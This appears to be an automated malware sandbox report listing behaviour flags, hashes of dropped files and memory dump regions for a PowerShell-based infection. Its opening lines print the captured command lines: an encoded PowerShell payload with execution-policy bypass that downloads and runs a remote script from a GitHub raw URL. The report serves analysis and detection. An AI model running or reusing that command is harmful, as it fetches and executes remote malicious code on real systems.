C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\RES309B.tmpMD5
bdd29486477950508360d27467a40fef
SHA103348a476696b96e0ec85853a058d705861d93e8
SHA256b6ff0297737bc8d030dec01106c9b90fae018ac0fd8c7a8c231860ccb57fe712
SHA512189ecaed85b5d04767887c609a11a6b973cf77eb303d4fbbac7cd455c0012f43ef48056096085c146a383209002e3dcf6d1f8af83ffc5f0c5924d2cfec71be2e
-
C:\Users\Admin\AppData\Local\Temp\q25fv3tu\q25fv3tu.dllMD5
6fdde4af5d2494b029485348affe7efd
SHA1d8ff49228fe20b984a62476468913db557cd466a
SHA2560949885e5f647d946a91f86961fb704568990da39cdb53d516221e51ff4c4619
SHA51208878b807c33f2c9e87fb756d93829f8f2dd8f5b5a829e903a6a0847bfcf6a5ad8e67a919a04310c1ce7b8902d3e3c9a4a4a7e9ebaac638b7b234d43b2356ed6
-
C:\Users\Admin\AppData\Local\Temp\ready.ps1MD5
3447df88de7128bdc34942334b2fab98
SHA1519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb
SHA2569520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9
SHA5122ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f
-
C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1MD5
89a9e4ab5bf64dc1ed74706ac08e931c
SHA14f23b20c3582fb6aec181ada0666fa962ba08920
SHA2564bc2f766ee74799ed4f257cedc7ec3a726085a5e323f7183c49bd428181dfe11
SHA51259ee5a1d966f528028525c7553ff3eae26e1be8bddb3d9fbcc973e6ce45b0af09fe8aaa5fbf550f1b33b6fd068625c62b27a7ff3b1a49d267ce0795a064cc41c
-
\??\c:\Users\Admin\AppData\Local\Temp\q25fv3tu\CSCF983F113C0AA49D09FFBE0B43FC91FA7.TMPMD5
993cb67f7f4eca730129b3ddcc4b763f
SHA140e979af514163b8122958317b422cd95a932556
SHA256c864d815c2f7bbdab53d0bc7a1e80a5036a12bdd3275898e538f45d30b601b69
SHA512a33aa3952b602960970ebf992e90ba52b66e962d56a06f209d038e72adb677b69f90c5339f778a7ea3913d6b77c861d360e040ab6f7f63d39471683d523c196b
-
\??\c:\Users\Admin\AppData\Local\Temp\q25fv3tu\q25fv3tu.0.csMD5
4864fc038c0b4d61f508d402317c6e9a
SHA172171db3eea76ecff3f7f173b0de0d277b0fede7
SHA2560f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84
SHA5129e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31
-
\??\c:\Users\Admin\AppData\Local\Temp\q25fv3tu\q25fv3tu.cmdlineMD5
273b76fc345fc81a7b4cc21f16623392
SHA15bec933931ed59c75ec0c9b878f90d6f79cfd943
SHA2569c0b5fe94d4b24c098e975fbda170aaafe29407f797cd1bc1f947b6afaf19453
SHA512d6b558709e490f0a9f8805c9a42a6f7a7fc1a49f3bee47e7f6ecce88b984d46617de4a3201529858fa93f23a94ce952af8abe20c55f92e380a26cf882c9c7faa
-
\Windows\Branding\mediasrv.pngMD5
da10ad3309976b3094f78e96d9c95032
SHA1aa3ea0d789100d7f2081f8faaad9cdf0f511dee6
SHA2567cd323f2536490c20bfe1dcccd600e25cf697cab0d1efa8e5f01c20666f13290
SHA51218bf8b774ce59db412b9fb60d7ab50347bf0a9d42ec9266df1e1c9e9d3518774d2bd30e29917a568868772f664b5382522414cd3479cc79703b417d2fcd0097f
-
\Windows\Branding\mediasvc.pngMD5
b88f9287f5cb18ae5c6a9bb46cab5ee7
SHA1e5644bb5ec08829957d8b4b2b204c0443bba155e
SHA256b1a6e49f20cf8833a11768f57401505b5063dd89a608dd160c52d52bfaad4ae9
SHA512a311ad47d614511671d3f9784a8de4c8507e9cfc18fe79749a3c5be2e04a41d6c8b94ccf071d52edc78c10211df46208991e8fb57d7a1c03073a28bed207a68e
-
memory/864-243-0x00000264FFC16000-0x00000264FFC18000-memory.dmpFilesize
8KB
-
memory/864-244-0x00000264FFC18000-0x00000264FFC19000-memory.dmpFilesize
4KB
-
memory/864-232-0x0000000000000000-mapping.dmp
-
memory/864-240-0x0000000000000000-mapping.dmp
-
memory/864-241-0x00000264FFC10000-0x00000264FFC12000-memory.dmpFilesize
8KB
-
memory/864-242-0x00000264FFC13000-0x00000264FFC15000-memory.dmpFilesize
8KB
-
memory/1124-233-0x0000000000000000-mapping.dmp
-
memory/1124-228-0x0000000000000000-mapping.dmp
-
memory/1344-160-0x0000000000000000-mapping.dmp
-
memory/1344-169-0x00000210B4690000-0x00000210B4692000-memory.dmpFilesize
8KB
-
memory/1344-193-0x00000210B4696000-0x00000210B4698000-memory.dmpFilesize
8KB
-
memory/1344-170-0x00000210B4693000-0x00000210B4695000-memory.dmpFilesize
8KB
-
memory/1400-215-0x0000000000000000-mapping.dmp
-
memory/1428-237-0x0000000000000000-mapping.dmp
-
memory/1616-218-0x0000000000000000-mapping.dmp
-
memory/1628-245-0x0000000000000000-mapping.dmp
-
memory/1692-239-0x0000000000000000-mapping.dmp
-
memory/1792-214-0x0000000000000000-mapping.dmp
-
memory/1816-231-0x0000000000000000-mapping.dmp
-
memory/1908-222-0x0000000000000000-mapping.dmp
-
memory/1940-210-0x0000000000000000-mapping.dmp
-
memory/1968-139-0x0000000000000000-mapping.dmp
-
memory/2396-212-0x0000000000000000-mapping.dmp
-
memory/2416-211-0x0000000000000000-mapping.dmp
-
memory/2448-225-0x0000000000000000-mapping.dmp
-
memory/2472-226-0x0000000000000000-mapping.dmp
-
memory/2700-234-0x0000000000000000-mapping.dmp
-
memory/2880-238-0x0000000000000000-mapping.dmp
-
memory/3060-134-0x000001E259A90000-0x000001E259A92000-memory.dmpFilesize
8KB
-
memory/3060-135-0x000001E259A93000-0x000001E259A95000-memory.dmpFilesize
8KB
-
memory/3060-145-0x000001E259A96000-0x000001E259A98000-memory.dmpFilesize
8KB
-
memory/3060-120-0x0000000000000000-mapping.dmp
-
memory/3060-125-0x000001E259A20000-0x000001E259A21000-memory.dmpFilesize
4KB
-
memory/3060-128-0x000001E271C80000-0x000001E271C81000-memory.dmpFilesize
4KB
-
memory/3060-143-0x000001E259A60000-0x000001E259A61000-memory.dmpFilesize
4KB
-
memory/3060-150-0x000001E2721C0000-0x000001E2721C1000-memory.dmpFilesize
4KB
-
memory/3060-151-0x000001E272550000-0x000001E272551000-memory.dmpFilesize
4KB
-
memory/3060-152-0x000001E259A98000-0x000001E259A99000-memory.dmpFilesize
4KB
-
memory/3172-116-0x000001C15B130000-0x000001C15B132000-memory.dmpFilesize
8KB
-
memory/3172-118-0x000001C15B135000-0x000001C15B136000-memory.dmpFilesize
4KB
-
memory/3172-114-0x000001C15B400000-0x000001C15B6AA000-memory.dmpFilesize
2.7MB
-
memory/3172-117-0x000001C15B133000-0x000001C15B135000-memory.dmpFilesize
8KB
-
memory/3172-119-0x000001C15B136000-0x000001C15B137000-memory.dmpFilesize
4KB
-
memory/3184-219-0x0000000000000000-mapping.dmp
-
memory/3204-221-0x0000000000000000-mapping.dmp
-
memory/3268-236-0x0000000000000000-mapping.dmp
-
memory/3268-229-0x0000000000000000-mapping.dmp
-
memory/3292-216-0x0000000000000000-mapping.dmp
-
memory/3348-217-0x0000000000000000-mapping.dmp
-
memory/3384-235-0x0000000000000000-mapping.dmp
-
memory/3588-227-0x0000000000000000-mapping.dmp
-
memory/3920-205-0x0000023A9C058000-0x0000023A9C05A000-memory.dmpFilesize
8KB
-
memory/3920-203-0x0000023A9C053000-0x0000023A9C055000-memory.dmpFilesize
8KB
-
memory/3920-246-0x0000000000000000-mapping.dmp
-
memory/3920-200-0x0000000000000000-mapping.dmp
-
memory/3920-202-0x0000023A9C056000-0x0000023A9C058000-memory.dmpFilesize
8KB
-
memory/3920-201-0x0000023A9C050000-0x0000023A9C052000-memory.dmpFilesize
8KB
-
memory/3932-213-0x0000000000000000-mapping.dmp
-
memory/3956-136-0x0000000000000000-mapping.dmp
-
memory/4004-207-0x00000258B4173000-0x00000258B4175000-memory.dmpFilesize
8KB
-
memory/4004-204-0x0000000000000000-mapping.dmp
-
memory/4004-206-0x00000258B4170000-0x00000258B4172000-memory.dmpFilesize
8KB
-
memory/4004-209-0x00000258B4178000-0x00000258B417A000-memory.dmpFilesize
8KB
-
memory/4004-208-0x00000258B4176000-0x00000258B4178000-memory.dmpFilesize
8KB
-
memory/4004-220-0x0000000000000000-mapping.dmp
-
memory/4084-230-0x0000000000000000-mapping.dmp